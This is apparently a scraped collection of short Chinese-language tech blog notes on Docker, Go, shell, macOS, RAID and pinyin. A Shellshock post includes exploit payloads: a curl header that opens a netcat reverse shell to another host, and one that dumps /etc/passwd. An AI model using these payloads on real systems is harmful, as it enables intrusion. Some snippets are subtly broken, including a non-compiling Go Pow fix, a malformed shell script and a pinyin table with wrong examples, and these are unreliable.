匯入第二個容器設定 json 並執行新容器。
Tunnel 現在可以連線使用。

Go 設計模式

Sat, 16 Sep 2023 16:08:12 +0800

更快的多平台建置：Dockerfile 交叉編譯指南

Mon, 04 Sep 2023 10:31:54 +0800

更快的多平台建置：Dockerfile 交叉編譯指南

方法

docker buildx create --use
FROM --platform=linux/amd64 debian / FROM --platform=$BUILDPLATFORM debian
變數

BUILDPLATFORM — matches the current machine. (e.g. linux/amd64)
BUILDOS — os component of BUILDPLATFORM, e.g. linux
BUILDARCH — e.g. amd64, arm64, riscv64
BUILDVARIANT — used to set ARM variant, e.g. v7
TARGETPLATFORM — The value set with --platform flag on build
TARGETOS - OS component from --platform, e.g. linux
TARGETARCH - Architecture from --platform, e.g. arm64
TARGETVARIANT

範例

before

FROM golang:1.17-alpine AS build
WORKDIR /src
COPY . .
RUN go build -o /out/myapp .

FROM alpine
COPY --from=build /out/myapp /bin

after

FROM --platform=$BUILDPLATFORM golang:1.17-alpine AS build
WORKDIR /src
ARG TARGETOS TARGETARCH
RUN --mount=target=. \
 --mount=type=cache,target=/root/.cache/go-build \
 --mount=type=cache,target=/go/pkg \
 GOOS=$TARGETOS GOARCH=$TARGETARCH go build -o /out/myapp .

FROM alpine
COPY --from=build /out/myapp /bin

如何處理 50GB 的大型 CSV 檔案（R 語言）？

Thu, 20 Jul 2023 15:44:11 +0800

如何處理 50GB 的大型 CSV 檔案（R 語言）？

問題

all <- read.csv.ffdf(
 file="<path of large file>",
 sep = ",",
 header=TRUE,
 VERBOSE=TRUE,
 first.rows=10000,
 next.rows=50000,
 )

回答

library(sqldf)

iris2 <- read.csv.sql("iris.csv",
 sql = "select * from file where Species = 'setosa' ")

channel 的 15 条规则和底层实现

Thu, 22 Jun 2023 21:25:05 +0800

channel 的 15 条规则和底层实现

操作规则

操作	nil	已关闭的 channel	未关闭有缓冲区的 channel	未关闭无缓冲区的 channel
关闭	panic	panic	成功关闭，然后可以读取缓冲区的值，读取完之后，继续读取到的是 channel 类型的默认值	成功关闭，之后读取到的是 channel 类型的默认值
接收	阻塞	不阻塞，读取到的是 channel 类型的默认值	不阻塞，正常读取值	阻塞
发送	阻塞	panic	不阻塞，正常写入值	阻塞

编译规则

操作	channel 類型	結果
接收	只写 channel	编译错误
发送	只读 channel	编译错误
关闭	只读 channel	编译错误

制作macOS系统dmg包及iso可引导镜像

Mon, 12 Jun 2023 10:04:20 +0800

制作 macOS 系统 dmg 包及 iso 可引导镜像

dmg

AppStore ==> search ‘install macos’ ==> get installer ==> du -sh /Applications/Install\ macOS\ Mojave.app/
磁碟工具程式 ==> 檔案 ==> 新增映像檔 ==> 空白映像檔
1. 大小: installer size
2. 格式: Mac OS 擴充格式(日誌式)
3. 分割區: 單一分割區 - GUID 分割區配置表
4. 映像檔格式: 可讀寫的磁碟映像檔
5. same as hdiutil create -o ~/Desktop/macOS\ Mojave -size 6500m -layout SPUD -fs HFS+J
sudo /Applications/Install\ macOS\ Mojave.app/Contents/Resources/createinstallmedia --volume /Volumes/macOS\ Mojave

iso

hdiutil convert ~/Desktop/macOS\ Mojave.dmg -format UDTO -o ~/Desktop/macOS\ Mojave.iso
mv ~/Desktop/macOS\ Mojave.iso.cdr ~/Desktop/macOS\ Mojave.iso

Synology：一眼查看 NAS RAM 細節

Mon, 08 May 2023 10:55:23 +0800

Synology：一眼查看 NAS RAM 細節

step1

Control Panel / Task Scheduler / Create / Scheduled Task / User-defined script

step2

General：在 Task 欄位輸入 RAM Details，取消勾選 “Enabled”，選擇 root 使用者。
Schedule：選擇 Run on the following date，並設定為 “Do not repeat”。
Task Settings：勾選 “Send run details by email”，填入 email，將下方指令貼到 Run command 區域，然後按 OK。

zsh 配置文件解析及优先级

Mon, 08 May 2023 10:43:10 +0800

zsh 配置文件解析及优先级

zsh 的环境变量配置文件有：

.zprofile
.zlogin
.zshrc
.zshenv
.zlogout

.zshrc 就是用来对 Shell 整体做个性化配置的

.zprofile 和 .zlogin 差不多是一样的，他们都会被 login shells 设置环境变量，只是加载时间可能有一些差别。.zprofile 是基于 Bash 的 .bash_profile ，而 .zlogin 则是仿照 CSH 的 .login 遗留下来的名字
.zshrc 会设置 interactive shells 的环境变量。它会在 .zprofile 之后加载。通常可以设置 $PATH, $PROMPT, aliases, functions 等等。
.zshenv 总是会被读取，所以也可以在这里设置环境变量，$PATH 或 $EDITOR 等，但一般不怎么使用
zlogout 是在一个会话登出的时候被加载，非常适合用来清理临时的配置，比如重置终端窗口的标题

zsh 会在用户登录时(login shell)加载 ~/.zprofile

zsh 会在开启新的终端会话时加载 ~/.zshrc

需要注意的是首先会加载 /etc/zshenv 下的内容，然后再加载 HOME 目录下的配置文件：

.zshenv → [.zprofile if login] → [.zshrc if interactive] → [.zlogin if login] → [.zlogout].

我的提升生產力 Mac 設定與軟體

Thu, 20 Apr 2023 14:52:08 +0800

我的提升生產力 Mac 設定與軟體

控制個別 App 是否進入 dark mode

https://nightowlapp.co/

brew install --cask nightowl

用鍵盤控制外接螢幕亮度 - MonitorControl

https://github.com/MonitorControl/MonitorControl

brew install --cask monitorcontrol

Raycast

Raycast 可以視為免費而且功能更強大的 Alfred，讓你不需要用滑鼠，靠鍵盤 Option + Space 快速啟用各種功能，內建許多付費 App 才有的功能

快速啟動 App
快速查字典跟使用計算機
內建查找剪貼簿歷史紀錄
自帶像是 Magnet 得 window managment 功能，利用快捷鍵迅速調整視窗大小置左置右
與行事曆整合，會議時間快到可以用快捷鍵快速開啟 Google Meet 遠端會議，而且會帶入對的 email 帳戶
可以自行寫 shell nodejs applescript 綁定快捷鍵快速啟用。
豐富的 extenstion store 可以下載

https://www.raycast.com/

brew install --cask raycast

減少風扇起飛 - 讓 Spotlight 排除你的專案資料夾

系統設定 > Spotlight > 搜尋隱私權

一些软件设计的原则

Tue, 18 Apr 2023 13:58:38 +0800

一些软件设计的原则

1. Don’t Repeat Yourself (DRY)

2. Keep It Simple, Stupid (KISS)

把一个事情搞复杂是一件简单的事，但要把一个复杂的事变简单，这是一件复杂的事。

3. Program to an interface, not an implementation

喜欢组合而不是继承
依赖倒置原则

4. Command-Query Separation (CQS) - 命令-查询分离原则

查询：当一个方法返回一个值来回应一个问题的时候，它就具有查询的性质；
命令：当一个方法要改变对象的状态的时候，它就具有命令的性质；

5. You Ain’t Gonna Need It (YAGNI)

只考虑和设计必须的功能，避免过度设计。只实现目前需要的功能，在以后您需要更多功能时，可以再进行添加。

6. Law of Demeter - 迪米特法则

最少知识原则（Principle of Least Knowledge）不要和陌生人说话

如果你想让你的狗跑的话，你会对狗狗说还是对四条狗腿说？如果你去店里买东西，你会把钱交给店员，还是会把钱包交给店员让他自己拿？

对于对象 O 中一个方法 M ，M 应该只能够访问以下对象中的方法：

对象 O；
与 O 直接相关的 Component Object；
由方法 M 创建或者实例化的对象；
作为方法 M 的参数的对象。

7. 面向对象的 S.O.L.I.D 原则

Single Responsibility Principle (SRP) - 职责单一原则

一个类，只做一件事，并把这件事做好，其只有一个引起它变化的原因

关于高可用的系统

Tue, 18 Apr 2023 10:24:00 +0800

关于高可用的系统

項目 / 機制	Backups	M/S	MM	2PC	Paxos
Consistency	Weak	Eventual	Eventual	Strong	Strong
Transactions	No	Full	Local	Full	Full
Latency	Low	Low	Low	High	High
Throughput	High	High	High	Low	Medium
Data loss	Lots	Some	Some	None	None
Failover	Down	Read only	Read only	Read/write	Read/write

这个图基本上来说是目前高可用系统中能看得到的所有的解决方案的基础了。M/S、MM 实现起来不难，但是会有很多问题，2PC 的问题就是性能不行，而 Paxos 的问题就是太复杂，实现难度太大。

总结一下各个高可用方案的的问题：

对于最终一致性来说，在宕机的情况下，会出现数据没有完全同步完成，会出现数据差异性。
对于强一致性来说，要么使用性能比较慢的 XA 系的两阶段提交的方案，要么使用性能比较好，但是实现比较复杂的 Paxos 协议。

有关 MTU 和 MSS 的一切

Wed, 12 Apr 2023 12:48:12 +0800

有关 MTU 和 MSS 的一切

使用Go语言解析二进制数据踩坑总结

Fri, 20 Jan 2023 13:48:27 +0800

使用 Go 语言解析二进制数据踩坑总结

for {
 buf := make([]byte, bufSize)
 n, err := r.Read(buf)
 if err == io.EOF {
 return
 } else if err != nil {
 aerr.Store(err)
 return
 }
 ch <- buf[:n]
}

当 err 的值为 io.EOF 时直接返回了。这是最可能出问题的地方。仔细阅读函数文档发现：

Callers should always process the n > 0 bytes returned before considering the error err. Doing so correctly handles I/O errors that happen after reading some bytes and also both of the allowed EOF behaviors.

所以程序必须先处理 n > 0 的情况，然后再处理 err != nil 的情况！这跟我之前的印象不相符。因为一般来说，当 err 非空时，前面的返回数据一般都是空值。但 io.Reader 并不是这样。

Rust 入門！強化終端的現代跨平台命令列工具

Fri, 13 Jan 2023 16:51:01 +0800

Rust 入門！強化終端的現代跨平台命令列工具

Alacritty

Alacritty 是一款跨平台的現代終端機模擬器，具備合理的預設值。它有 GPU 加速、速度快，且高度可自訂，可在 Linux、macOS 與 Windows 上使用。

bat

bat 是這份清單中我最喜歡的工具之一，用來取代 cat。

dust

dust 是 du 指令的替代品，速度快，並提供更好的磁碟使用量視覺化體驗。

ripgrep

ripgrep（rg）是以行為單位的搜尋工具，會遞迴搜尋目前目錄中的正則比對內容。它比 grep 更快，並支援壓縮檔搜尋、輸出著色、智慧大小寫、檔案類型過濾、多執行緒等功能。

Topgrade

Topgrade 是很棒的工具，適合想要讓系統保持最新狀態的人。

Windows SSH setup

Tue, 03 Jan 2023 12:36:00 +0800

預設的 shell 是使用 cmd，照文件說，若需要修改，是要改 ansible_shell_type 變數，這應該是要在 inventory 主機裡加入主機變數：ansible_shell_type，變數內容可以是 cmd 或 powershell。
inventory 主機裡要加入 ansible_connection 主機變數，告知要使用 ssh 連線。(192.168.192.11 ansible_user=Administrator ansible_connection=ssh ansible_shell_type=cmd )
可能會需要在 ansible.cfg 裡加上 remote_tmp 設定，指定為 C:\TEMP
Playbook 裡可以使用 win_ 開頭的模組，或是使用 raw 模組

在 macOS 中檢視 Web Views

Fri, 02 Dec 2022 13:51:24 +0800

在 macOS 中檢視 Web Views

defaults write NSGlobalDomain WebKitDeveloperExtras -bool true
defaults write -g WebKitDeveloperExtras -bool YES

Go 使用 selenium 截图

Fri, 02 Dec 2022 13:40:19 +0800

Go 使用 selenium 截图

package main

import (
 "fmt"
 log "github.com/sirupsen/logrus"
 "github.com/tebeka/selenium"
 "io/ioutil"
)

const (
 chromeDriverPath = "/usr/local/bin/chromedriver"
 port = 9515
)

func main() {
 var opts []selenium.ServiceOption
 selenium.SetDebug(false)
 service, err := selenium.NewChromeDriverService(chromeDriverPath, port, opts...)
 if err != nil {
 panic(err) // panic is used only as an example and is not otherwise recommended.
 }
 defer service.Stop()

 caps := selenium.Capabilities{"browserName": "chrome"}
 // 整页截屏
 // 获取到网页的宽高，然后把浏览器的窗口设置成这么大，然后再截图就好了！需要注意的是只有 headless 模式可以任意设置窗口大小，否则最大高度不能超过你的显示器分辨率
 // chromeCaps := chrome.Capabilities{
 // Path: "",
 // Args: []string{
 // "--headless",
 // },
 // }
 // caps.AddChrome(chromeCaps)

 wd, err := selenium.NewRemote(caps, fmt.Sprintf("http://localhost:%d/wd/hub", port))
 if err != nil {
 panic(err)
 }
 defer wd.Quit()

 // 在 selenium 中使用ExecuteScript就可以执行 JavaScript 代码，需要注意返回值是 interface，所以要类型断言成 float，然后再转成 int
 // height, _ := wd.ExecuteScript("return document.body.parentNode.scrollHeight", nil)
 // var realHeight = int(height.(float64))
 // 然后我们需要设置窗口大小
 // wd.ResizeWindow("", 1920, realHeight)

 if err := wd.Get("https://github.com/tgbot-collection/archiver"); err != nil {
 panic(err)
 }

 screenshot, err := wd.Screenshot()
 if err != nil {
 log.Errorln(err)

 }
 ioutil.WriteFile("screenshot.png", screenshot, 0644)

}

整页截屏

获取到网页的宽高，然后把浏览器的窗口设置成这么大，然后再截图就好了！需要注意的是只有 headless 模式可以任意设置窗口大小，否则最大高度不能超过你的显示器分辨率

古代計時單位

Tue, 29 Nov 2022 11:21:02 +0800

古代計時單位

十二時辰時間對照表

時辰	古名	對應現代時間	初 / 正時間	別名（完整）
子時	夜半	23:00-01:00	子初 23:00 子正 00:00	子夜、中夜、午夜、夜分、夜半、未旦、宵分、未央
丑時	雞鳴	01:00-03:00	丑初 01:00 丑正 02:00	荒雞
寅時	平旦	03:00-05:00	寅初 03:00 寅正 04:00	平明、旦明、黎明、早旦、日旦、昧旦、騎旦、早晨、早夜、早朝、昧爽、旦日、旦時
卯時	日出	05:00-07:00	卯初 05:00 卯正 06:00	日上、日生、日升、日始、日晞、旭日、破曉
辰時	食時	07:00-09:00	辰初 07:00 辰正 08:00	早食、宴食、蚤食
巳時	隅中	09:00-11:00	巳初 09:00 巳正 10:00	日隅、禺中、日禺
午時	日中	11:00-13:00	午初 11:00 午正 12:00	日正、日午、日高、正午、中午、亭午、日當午、平午、平晝
未時	日昳	13:00-15:00	未初 13:00 未正 14:00	日昃、日仄、日側、日跌、日斜、日映、日央
申時	晡時	15:00-17:00	申初 15:00 申正 16:00	餔時、日餔、日晡、日鋪、日稷、日夕、夕食
酉時	日入	17:00-19:00	酉初 17:00 酉正 18:00	日沒、日沉、日西、日落、日逝、日晏、日旴、日晦、傍晚
戌時	黃昏	19:00-21:00	戌初 19:00 戌正 20:00	日夕、日末、日暮、日晚、日闇、日墮、日暗、日曛、曛黃
亥時	人定	21:00-23:00	亥初 21:00 亥正 22:00	定昏、夤夜

更

漢代皇宮中值班人員分五個班次，按時更換，叫「五更」，由此古人把便把一夜分為五更，每更為一個時辰。戌時為一更，亥時為二更，子時為三更，丑時為四更，寅時為五更

在 Linux 中偵測 RAID 資訊

Mon, 28 Nov 2022 15:36:27 +0800

在 Linux 中偵測 RAID 資訊

lspci

lspci | grep RAID
00:1f.2 RAID bus controller: Intel Corporation 82801 Mobile SATA Controller [RAID mode] (rev 04)

lshw

lshw -class storage
 *-raid
 description: RAID bus controller
 product: 82801 Mobile SATA Controller [RAID mode]
 vendor: Intel Corporation
 physical id: 1f.2
 bus info: pci@0000:00:1f.2
 logical name: scsi0
 version: 04
 width: 32 bits
 clock: 66MHz
 capabilities: raid msi pm bus_master cap_list emulated
 configuration: driver=ahci latency=0
 resources: irq:26 ioport:f0d0(size=8) ioport:f0c0(size=4) ioport:f0b0(size=8) ioport:f0a0(size=4) ioport:f060(size=32) memory:f7e36000-f7e367ff

smartctl

dmesg | grep -i scsi
[ 0.210852] SCSI subsystem initialized
[ 0.341280] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 243)
...
[ 1.213299] scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: 0 ANSI: 5
[ 1.319886] sd 0:0:0:0: [sda] Attached SCSI disk
[ 19.571008] sd 0:0:0:0: Attached scsi generic sg0 type 0

smartctl --all /dev/sda
Model Family: Seagate Laptop HDD
Device Model: ST320LT012-9WS14C
Serial Number: S0V3R9LL
LU WWN Device Id: 5 000c50 05be4653c
Firmware Version: 0001YAM1
User Capacity: 320,072,933,376 bytes [320 GB]
Sector Sizes: 512 bytes logical, 4096 bytes physical
Rotation Rate: 5400 rpm
Form Factor: 2.5 inches
Device is: In smartctl database 7.3/5319
ATA Version is: ATA8-ACS T13/1699-D revision 4
SATA Version is: SATA 2.6, 3.0 Gb/s (current: 3.0 Gb/s)
Local Time is: Sat Nov 19 20:52:01 2022 PKT
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
...

MegaCLI

megacli -LDInfo -Lall -aALL
Adapter 0 -- Virtual Drive Information:
Virtual Drive: 0 (Target Id: 0)
Name : SEAGATE
RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0
Size : 320 GB
Sector Size : 512
Mirror Data : 320 GB
State : Optimal
...

lsscsi

lsscsi
[0:0:0:0] disk ATA ST320LT012-9WS14 YAM1 /dev/sda

廠商專用工具

omreport storage vdisk
List of Virtual Disks in the System

Controller SEAGATE Laptop HDD
ID : 0
Status : Ok
Name : SEAGATE
State : Ready
Hot Spare Policy violated : Not Assigned
Encrypted : No
Layout : RAID-0
Size : 320.00 GB (343597383680 bytes)
T10 Protection Information Status : No
Associated Fluid Cache State : Not Applicable
Device Name : /dev/sda
Bus Protocol : ATA
Media : HDD
Read Policy : Adaptive Read Ahead
Write Policy : Write Back
Cache Policy : Not Applicable
Stripe Element Size : 128 KB
Disk Cache Policy : Enabled

測試伺服器是否易受 Shellshock 漏洞影響

Mon, 28 Nov 2022 15:35:30 +0800

測試伺服器是否易受 Shellshock 漏洞影響

Shellshock 漏洞

env x=' () {:;};'

利用 Shellshock 漏洞

當功能忽略使用者指定的指令，改執行 ForceCommand 的內容時，置換指令就會被執行。
使用者的原始指令會被放在 “SSH_ORIGINAL_COMMAND” 環境變數中。若使用者預設 shell 是 Bash，Bash 在啟動時會解析 “SSH_ORIGINAL_COMMAND” 的值並執行其中的指令。

Shellshock 利用指令範例

## 1
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi

## 2
curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

使用 nmap 腳本測試漏洞

nmap -sV -p- --script http-shellshock 192.168.x.x
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

從零開始的容器

Thu, 24 Nov 2022 13:10:14 +0800

從零開始的容器

容器檔案系統

$ wget https://github.com/ericchiang/containers-from-scratch/releases/download/v0.1.0/rootfs.tar.gz
$ sha256sum rootfs.tar.gz
c79bfb46b9cf842055761a49161831aee8f4e667ad9e84ab57ab324a49bc828c rootfs.tar.gz
$ # tar needs sudo to create /dev files and setup file ownership
$ sudo tar -zxf rootfs.tar.gz
$ ls rootfs
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
$ ls -al rootfs/bin/ls
-rwxr-xr-x. 1 root root 118280 Mar 14 2015 rootfs/bin/ls

chroot

它可以限制某個程序對檔案系統的視野。這裡我們把程序限制在 “rootfs” 目錄，然後執行一個 shell。

$ sudo chroot rootfs /bin/bash
root@localhost:/# ls /
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
root@localhost:/# which python
/usr/bin/python
root@localhost:/# /usr/bin/python -c 'print "Hello, container world!"'
Hello, container world!
root@localhost:/#

當我們執行 Python 直譯器時，實際上是執行 rootfs/usr/bin/python，而不是宿主機的 Python。

如何刪除檔名含有不可列印字元的檔案

Mon, 14 Nov 2022 13:55:17 +0800

如何刪除檔名含有不可列印字元的檔案

ls -l
total 13
-rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' '
-rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx'
-rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω
-rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

使用 ANSI-C Quoting

# Using ANSI-C Quoting
rm ''$'\302\226'
# We can also use the $ special character before enclosing the filename in single quotes
rm $'\356\200\215'

# pass an item's name to rm without using the ANSI-C quoting
rm '\026\033'
rm: cannot remove '\026\033': No such file or directory

使用 Inode 編號

ls -li
total 11
...
6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215'
4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

可以透過 find 的 -inum 參數指定 inode 來刪除檔案。

/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊

Mon, 14 Nov 2022 12:55:39 +0800

/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊

chage 與密碼期限

chage --list root
Last password change : Oct 01, 2022
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7

因此，我們可以用對應的旗標修改各欄位：

-d 或 --lastday：最後變更日期
-m 或 --mindays：變更密碼最少間隔天數
-M 或 --maxdays：密碼最大有效天數
-W 或 --warndays：到期前警告天數
-I 或 --inactive：密碼失效天數
-E 或 --expiredate：帳號過期日期

chpasswd 與密碼

echo 'user1:PASSWORD' | chpasswd --crypt-method SHA512

如何在別名指令上使用 which

Thu, 10 Nov 2022 16:24:30 +0800

如何在別名指令上使用 which

type

type grep
grep is an alias for grep --color=auto


# Bash's type
type -P grep
/usr/bin/grep

# Zsh's type
type -p grep
grep is /usr/bin/grep

GNU which

which -a which
which: shell built-in command
/usr/bin/which


alias top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'

alias | /usr/bin/which -i top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'
 /usr/bin/uniq
 /usr/bin/sort
 /usr/bin/head

將指令輸出轉為圖片

Thu, 10 Nov 2022 16:13:04 +0800

將指令輸出轉為圖片

---
- name: Capture command output and convert to image
 hosts: all

 tasks:
 - name: Display content of /etc/redhat-release
 shell: cat /etc/redhat-release
 register: redhat_release_result

 - name: hostname
 shell: hostname
 register: hostname_result

 # 可以使用 ImageMagick 來轉換文字為圖片
 - name: Convert command output as image
 shell: echo -e "{{ hostname_result.stdout }}\n{{ redhat_release_result.stdout }}" | convert label:@- {{ hostname_result.stdout }}.png
 delegate_to: localhost

善用 Go Fuzzing，幫助你寫出更完整的單元測試

Thu, 03 Nov 2022 16:57:29 +0800

善用 Go Fuzzing，幫助你寫出更完整的單元測試

func Pow(base uint, exponent uint) uint {
 if exponent == 0 {
 return 1
 }

 return base * Pow(base, exponent-1)
}

func FuzzPow(f *testing.F) {
 f.Fuzz(func(t *testing.T, x, y uint) {
 assert := assert.New(t)

 assert.Equal(Pow(x, 0), uint(1))
 assert.Equal(Pow(x, 1), x)
 assert.Equal(Pow(x, 2), x*x)

 if x > 0 && y > 0 {
 assert.Equal(Pow(x, y)/x, Pow(x, y-1))
 }
 })
}

go test -fuzz=Fuzz -fuzztime 20s

在做 Fuzzing Test 的時候如果跑一跑 FAIL 了，Go 會幫忙把那組 input 記在 testcase/ 裡面
看了之後會發現在 x=6、y=30 時 assert 會失敗，也就是說 pow(6, 30)/6 不會等於 pow(6, 29)。但這也太奇怪了吧？仔細實驗之後才發現是因為在計算 pow(6, 30) 的時候會發生 overflow。
因為 Go 定義的 max.MaxUint 大約是 18 * 10¹⁸，但 6²⁹ 大概是 7 * 10¹⁸。如果把 6²⁹ 再乘上 6，就會發生 overflow 得到 8 * 10¹⁸，很像繞了操場兩圈結果在跟原本差不多的位置。

var ErrOverflow = fmt.Errorf("overflow")

func Pow(base uint, exponent uint) (uint, error) {
 if exponent == 0 {
 return 1
 }

 prevResult, err := Pow(base, exponent-1)
 if math.MaxUint/base < prevResult {
 return 0, ErrOverflow
 }

 return base * prevResult, nil
}

func FuzzPow(f *testing.F) {
 f.Fuzz(func(t *testing.T, x, y uint) {
 assert := assert.New(t)
 if result, err := Pow(x, 1); err != ErrOverflow {
 assert.Equal(result, x)
 }

 if result, err := Pow(x, y); x > 0 && y > 0 && err != ErrOverflow {
 resultDivX, _ := Pow(x, y-1)
 assert.Equal(result/x, resultDivX)
 }
 })
}

Shell Script 最佳實務

Thu, 03 Nov 2022 16:51:11 +0800

Shell Script 最佳實務

重點

第一行就用 #!/usr/bin/env bash。
檔案使用 .sh（或 .bash）副檔名。
在腳本開頭使用 set -o errexit。
也建議使用 set -o nounset。
1. 用 "${VARNAME-}" 取代 "$VARNAME"
使用 set -o pipefail。
使用 set -o xtrace，並檢查 $TRACE 環境變數。
1. if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace; fi
2. 使用者可以透過 TRACE=1 ./script.sh 啟用除錯模式，而不是 ./script.sh。
if / while 條件使用 [[ ]]，而不是 [ ] 或 test。
變數存取一律用雙引號包住。
在函式中使用 local 變數。
輸出錯誤訊息時請導向 stderr。
1. 例如 echo 'Something unexpected happened' >&2。
能用長選項就用長選項（例如 --silent 取代 -s）。
適合的話，腳本開頭就切換到腳本所在目錄。
1. 可用 cd "$(dirname "$0")"，多數情況可用。
使用 shellcheck 並留意其警告。

範本

#!/usr/bin/env bash

set -o errexit
set -o nounset
set -o pipefail
if [[ "${TRACE-0}" == "1" ]]; then
 set -o xtrace
fi

if [[ "${1-}" =~ ^-*h(elp)?$ ]]; then
 echo 'Usage: ./script.sh arg-one arg-two

This is an awesome bash script to make your life better.

'
 exit
fi

cd "$(dirname "$0")"

main() {
 echo do awesome stuff
}

main "$@"

命令列的藝術

Wed, 02 Nov 2022 15:04:37 +0800

命令列的藝術

一張圖學會【拼音輸入法】

Tue, 25 Oct 2022 11:57:51 +0800

一張圖學會【拼音輸入法】

聲母（Initials）

聲母	拼音	例字
ㄅ	b	爸 ba、別 bie、奔 ben
ㄆ	p	撇 pie、平 ping、鵬 peng
ㄇ	m	媽 ma、莫 mo、某 mou
ㄈ	f	發 fa、飯 fan、風 feng
ㄉ	d	的 d、但 dan、段 duan
ㄊ	t	他 ta、貼 tie、團 tuan
ㄋ	n	你 ni、農 nong、暖 nuan
ㄌ	l	李 li、亂 luan、亮 liang
ㄍ	g	跟 gen、怪 guai、灌 guan
ㄎ	k	快 kuai、考 kao、狂 kuang
ㄏ	h	哈 ha、漢 han、橫 heng
ㄐ	j	叫 jiao、雞 ji、京 jing
ㄑ	q	七 qi、琴 qin、巧 qiao
ㄒ	x	西 xi、寫 xie、小 xiao
ㄓ	zh	知 zhi、戰 zhan、正 zheng
ㄔ	ch	吃 chi、船 chuan、重 chong
ㄕ	sh	是 shi、山 shan、刷 shuan
ㄖ	r	日 ri、讓 rang、人 ren
ㄗ	z	字 zi、讚 zan、昨 zuo
ㄘ	c	次 ci、菜 cai、餐 can
ㄙ	s	三 san、四 si、算 suan

介音 / 特殊聲母

類型	拼音	例字
y	yi / i	以 yi、依 yi、修 xiu
w	wu / u	無 wu、溫 wen、船 chuan
v	yu / ü	律 lü、雨 yu、院 yuan

單韻母（Finals）

韻母	拼音	例字
ㄚ	a	沙 sha、撒 sa、奧 ao
ㄛ	o	哦 o、偶 ou、歐 ou
ㄜ	e	餓 e、樂 le、設 she
ㄝ	ê / ye	也 ye、學 xue、切 qie
ㄞ	ai	愛 ai、篩 shai、崖 yai
ㄟ	ei	雷 lei、最 zui、脆 cui
ㄠ	ao	凹 ao、老 lao、笑 xiao
ㄡ	ou	歐 ou、樓 lou、手 shou
ㄢ	an	安 an、蘭 lan、算 suan
ㄣ	en	恩 en、林 lin、冷 leng
ㄤ	ang	昂 ang、浪 lang、讓 rang
ㄥ	eng	成 cheng、冷 leng、令 ling
ㄦ	er	二 er、兒 er、而 er

複韻母 / 組合韻

拼音	例字
ye	也 ye、結 jie、血 xie
iu	六 liu、有 you、謬 miu
in	音 yin、新 xin、林 lin
ing	英 ying、靈 ling、醒 xing
uan	元 yuan、卷 juan、團 tuan
ue	略 lue、學 xue
yun	雲 yun、巡 xun、群 qun
ong	用 yong、兇 xiong、同 tong
ui	鬼 gui、為 wei、虧 kui
un	文 wen、混 hun、準 zhun
ua	華 hua、抓 zhua、蛙 wa
uai	壞 huai、快 kuai、踹 chuai

在 Shell 中輸出 ASCII 藝術字

Fri, 21 Oct 2022 17:30:41 +0800

在 Shell 中輸出 ASCII 藝術字

sudo apt install sysvbanner

$ banner hello

 # # ###### # # ####
 # # # # # # #
 ###### ##### # # # #
 # # # # # # #
 # # # # # # #
 # # ###### ###### ###### ####

FIGlet: Frank, Ian, and Glenn’s Letters

sudo apt install figlet

$ figlet hello
 _ _ _
| |__ ___| | | ___
| '_ \ / _ \ | |/ _ \
| | | | __/ | | (_) |
|_| |_|\___|_|_|\___/

-f 選項可指定輸出的字型
-l、-c、-r 可將文字對齊到左、中、右

TOIlet: FIGlet With More Options

sudo apt install toilet

如何讓終端輸出覆蓋同一行

Fri, 21 Oct 2022 17:29:10 +0800

如何讓終端輸出覆蓋同一行

問題簡介

$ cat print_status.sh
!/bin/bash
echo "[INFO] Processing file: readme.txt"
sleep 2 To simulate the file processing

echo "[INFO] Processing file: veryPowerfulService.service"
sleep 2

echo "[INFO] Processing file: log.txt"
echo "DONE"


$ ./print_status.sh
[INFO] Processing file: readme.txt
[INFO] Processing file: veryPowerfulService.service
[INFO] Processing file: log.txt
DONE

「魔法碼」: `\033[0K\r`

-n 讓 echo 不輸出結尾的換行字元
-e 讓 echo 解讀反斜線逸出字元，例如 \n（換行）與 \r（回車）
\033 - 逸出序列，也就是 ESC
\033[ - 變成 “ESC ["，也就是控制序列引導字元（CSI）
\033[0k - 即 “CSI 0 K”，會清除從游標到行尾的文字
\r - 回車，將游標移回行首

$ cat print_status.sh
#!/bin/bash
echo -ne "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

